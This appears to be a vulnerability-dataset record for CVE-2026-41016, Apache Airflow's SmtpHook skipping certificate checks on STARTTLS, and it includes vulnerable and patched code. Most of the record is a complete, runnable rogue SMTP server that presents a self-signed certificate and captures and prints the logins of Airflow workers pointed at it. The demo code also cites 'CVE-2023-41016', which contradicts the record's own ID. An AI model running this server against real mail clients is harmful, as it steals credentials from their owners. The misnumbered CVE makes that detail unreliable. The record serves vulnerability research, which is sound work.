{"id":1824,"cve":"CVE-2026-41016","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-41016\/","cwe":"CWE-295","cwe_number":295,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/295","cvss_score":5.9,"published":"2026-04-30","owasp":"A02 Cryptographic Failures","odc":"Checking","cdc":"Missing Check","category":"Cryptographic","subcategory":"Improper SSL\/TLS Certificate Validation","scope":"Remote","impact":"Information Disclosure","summary":"Airflow SmtpHook lacks TLS cert validation, allowing MitM credential theft.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-41016\/","description":"Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix.","solution":"Upgrade `apache-airflow-providers-smtp` to version 1.3.0 or later.","affected_component":"apache-airflow-providers-smtp","fixed_by_upgrading":true,"vulnerable_code":"import smtplib\nimport ssl\n\n# This example represents the logic in the vulnerable version of the SmtpHook.\n# It demonstrates connecting to an SMTP server and initiating a TLS upgrade\n# without providing a secure SSL context, which prevents certificate validation.\n\ndef vulnerable_smtp_connect_and_login(host, port, user, password):\n    \"\"\"\n    Connects to an SMTP server, starts an insecure TLS session, and logs in.\n\n    This function is vulnerable to a Man-in-the-Middle (MITM) attack because\n    `server.starttls()` is called without an SSL context, meaning the server's\n    certificate is not validated. An attacker could intercept the connection,\n    present a self-signed certificate, and capture the credentials sent\n    during the `server.login()` call.\n    \"\"\"\n    conn = None\n    try:\n        # Establish the initial insecure connection\n        conn = smtplib.SMTP(host=host, port=port, timeout=30)\n        conn.set_debuglevel(1)  # Show communication for demonstration\n\n        # VULNERABLE CALL:\n        # Initiate TLS upgrade without a context for certificate validation.\n        # Python's smtplib does not perform hostname checking or certificate\n        # validation by default in this configuration.\n        conn.starttls()\n\n        print(\"Attempting to log in over insecure STARTTLS connection...\")\n        # Credentials are sent after the insecure TLS handshake,\n        # exposing them to the MITM attacker.\n        conn.login(user, password)\n        print(\"Login successful (or appeared to be).\")\n\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n    finally:\n        if conn:\n            conn.quit()\n\n# Example usage (DO NOT RUN AGAINST A REAL SERVER WITH REAL CREDENTIALS)\n# This would be called by the Airflow framework.\n# To test this, one would set up a fake SMTP server with a tool like `mitmproxy`\n# or a simple Python server that presents a self-signed certificate.\n\nif __name__ == '__main__':\n    # Replace with details of a local, controlled, fake SMTP server for testing.\n    # For instance, a server set up with `aiosmtpd` and a self-signed cert.\n    SMTP_HOST = \"localhost\"\n    SMTP_PORT = 1025  # A common port for local test SMTP servers\n    SMTP_USER = \"testuser\"\n    SMTP_PASS = \"vulnerable_password_123\"\n\n    print(\"--- DEMONSTRATING CVE-2023-41016 (before fix) ---\")\n    vulnerable_smtp_connect_and_login(\n        host=SMTP_HOST,\n        port=SMTP_PORT,\n        user=SMTP_USER,\n        password=SMTP_PASS,\n    )","patched_code":"import smtplib\nimport ssl\n\ndef secure_starttls_connection(host, port, username, password):\n    \"\"\"\n    Demonstrates the fixed, secure way to initiate a STARTTLS connection\n    by providing an SSL context to smtplib.SMTP.starttls().\n    \n    The vulnerability was calling starttls() without the 'context' parameter.\n    \"\"\"\n    \n    # 1. Create a default SSL context. This context enforces certificate\n    #    validation and other secure defaults.\n    context = ssl.create_default_context()\n\n    # The 'with' statement ensures the connection is properly closed.\n    with smtplib.SMTP(host, port) as server:\n        \n        # 2. Upgrade the insecure connection to a secure TLS connection.\n        #    Passing the 'context' object is the specific fix. It ensures that\n        #    the server's certificate is validated against the system's\n        #    trusted certificate authorities, preventing a MITM attack.\n        server.starttls(context=context)\n        \n        # 3. The login call is now protected by a validated, encrypted session.\n        #    Credentials cannot be intercepted.\n        server.login(username, password)\n        \n        # Connection is now secure and authenticated.\n        # server.sendmail(...) would be called here.\n        pass","payload_needed":true,"payload":"```python\nimport socket\nimport ssl\nimport base64\nimport os\n\n# --- Configuration ---\nHOST = '0.0.0.0'\nPORT = 587  # Common SMTP submission port that uses STARTTLS\nCERT_FILE = 'cert.pem'\nKEY_FILE = 'key.pem'\n\n# --- Pre-computation ---\n# '334 VXNlcm5hbWU6\\r\\n' is the base64 encoded 'Username:' prompt\nUSERNAME_PROMPT = b'334 ' + base64.b64encode(b'Username:') + b'\\r\\n'\n# '334 UGFzc3dvcmQ6\\r\\n' is the base64 encoded 'Password:' prompt\nPASSWORD_PROMPT = b'334 ' + base64.b64encode(b'Password:') + b'\\r\\n'\n\ndef generate_self_signed_cert(cert_path, key_path):\n    \"\"\"Generate self-signed certificate for the MitM server.\"\"\"\n    if not os.path.exists(cert_path) or not os.path.exists(key_path):\n        print(f\"[*] Generating self-signed certificate...\")\n        print(f\"    - Certificate: {cert_path}\")\n        print(f\"    - Private Key: {key_path}\")\n        os.system(\n            f'openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 '\n            f'-keyout {key_path} -out {cert_path} '\n            f'-subj \"\/C=US\/ST=N\/A\/L=N\/A\/O=MitM\/OU=Evil Corp\/CN=mail.example.com\"'\n        )\n        print(\"[+] Certificate generated.\")\n\ndef handle_client(conn, addr):\n    \"\"\"Handle a single SMTP client connection to capture credentials.\"\"\"\n    print(f\"[+] Connection from: {addr}\")\n    try:\n        # 1. Send SMTP Welcome Banner\n        conn.sendall(b'220 mail.example.com ESMTP FakeSMTPServer\\r\\n')\n\n        # 2. Receive EHLO and respond with STARTTLS capability\n        data = conn.recv(1024)\n        if not data.strip().upper().startswith(b'EHLO'):\n            conn.close()\n            return\n        \n        print(f\"[C] --> [S]: {data.decode().strip()}\")\n        conn.sendall(b'250-mail.example.com\\r\\n')\n        conn.sendall(b'250-PIPELINING\\r\\n')\n        conn.sendall(b'250-SIZE 10240000\\r\\n')\n        conn.sendall(b'250-VRFY\\r\\n')\n        conn.sendall(b'250-ETRN\\r\\n')\n        conn.sendall(b'250-STARTTLS\\r\\n')\n        conn.sendall(b'250-AUTH LOGIN PLAIN\\r\\n')\n        conn.sendall(b'250-ENHANCEDSTATUSCODES\\r\\n')\n        conn.sendall(b'250 8BITMIME\\r\\n')\n        print(f\"[S] --> [C]: Offered STARTTLS\")\n        \n        # 3. Wait for the STARTTLS command\n        data = conn.recv(1024)\n        if not data.strip().upper() == b'STARTTLS':\n            conn.close()\n            return\n            \n        print(f\"[C] --> [S]: {data.decode().strip()}\")\n        conn.sendall(b'220 2.0.0 Ready to start TLS\\r\\n')\n        print(f\"[S] --> [C]: Acknowledged STARTTLS. Upgrading to TLS...\")\n\n        # 4. Wrap the socket with SSL\/TLS using our self-signed cert\n        # The vulnerable client will not validate this certificate.\n        ssl_conn = ssl.wrap_socket(conn, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE, ssl_version=ssl.PROTOCOL_TLS)\n        print(\"[+] Connection is now encrypted (but unverified by client).\")\n\n        # 5. Wait for AUTH LOGIN command over the \"secure\" channel\n        data = ssl_conn.recv(1024)\n        print(f\"[C] --> [S] (TLS): {data.decode().strip()}\")\n        if not data.strip().upper().startswith(b'AUTH LOGIN'):\n            ssl_conn.close()\n            return\n            \n        # 6. Send username prompt\n        ssl_conn.sendall(USERNAME_PROMPT)\n        print(f\"[S] --> [C] (TLS): Sent username prompt.\")\n\n        # 7. Receive and decode username\n        user_b64 = ssl_conn.recv(1024).strip()\n        username = base64.b64decode(user_b64).decode()\n        print(\"\\n\" + \"=\"*40)\n        print(f\"[***] CAPTURED USERNAME: {username}\")\n        print(\"=\"*40 + \"\\n\")\n        \n        # 8. Send password prompt\n        ssl_conn.sendall(PASSWORD_PROMPT)\n        print(f\"[S] --> [C] (TLS): Sent password prompt.\")\n\n        # 9. Receive and decode password\n        pass_b64 = ssl_conn.recv(1024).strip()\n        password = base64.b64decode(pass_b64).decode()\n        print(\"=\"*40)\n        print(f\"[***] CAPTURED PASSWORD: {password}\")\n        print(\"=\"*40 + \"\\n\")\n\n        # 10. Send fake success message and close\n        ssl_conn.sendall(b'235 2.7.0 Authentication successful\\r\\n')\n        print(\"[+] Exploit successful. Sent fake auth success to client.\")\n\n    except (ssl.SSLError, ConnectionResetError, BrokenPipeError) as e:\n        print(f\"[!] Connection error: {e}\")\n    finally:\n        if 'ssl_conn' in locals():\n            ssl_conn.close()\n        else:\n            conn.close()\n        print(f\"[-] Connection closed for {addr}\")\n\ndef main():\n    \"\"\"Main function to run the MitM server.\"\"\"\n    generate_self_signed_cert(CERT_FILE, KEY_FILE)\n    \n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    server_socket.bind((HOST, PORT))\n    server_socket.listen(5)\n    \n    print(f\"[*] Malicious SMTP server listening on {HOST}:{PORT}\")\n    print(\"[*] To trigger, point Airflow's SMTP connection to this server's IP.\")\n    print(\"[*] Waiting for a vulnerable Airflow worker to connect...\")\n    \n    while True:\n        conn, addr = server_socket.accept()\n        handle_client(conn, addr)\n\nif __name__ == '__main__':\n    main()\n```","payload_status":"available","published_fix":[{"repository":"apache\/airflow","commit_url":"https:\/\/github.com\/apache\/airflow\/pull\/65346","commit_subject":"Validate SMTP server certificate on STARTTLS upgrade","units":[{"file":"airflow-core\/src\/airflow\/utils\/email.py","function":null},{"file":"airflow-core\/src\/airflow\/utils\/email.py","function":"send_mime_email"},{"file":"airflow-core\/src\/airflow\/utils\/email.py","function":"_get_smtp_connection"},{"file":"providers\/smtp\/src\/airflow\/providers\/smtp\/hooks\/smtp.py","function":null},{"file":"providers\/smtp\/src\/airflow\/providers\/smtp\/hooks\/smtp.py","function":"SmtpHook.aget_conn"},{"file":"providers\/smtp\/src\/airflow\/providers\/smtp\/hooks\/smtp.py","function":"SmtpHook.get_conn"},{"file":"providers\/smtp\/src\/airflow\/providers\/smtp\/hooks\/smtp.py","function":"SmtpHook._build_client_kwargs"}]}],"references":null}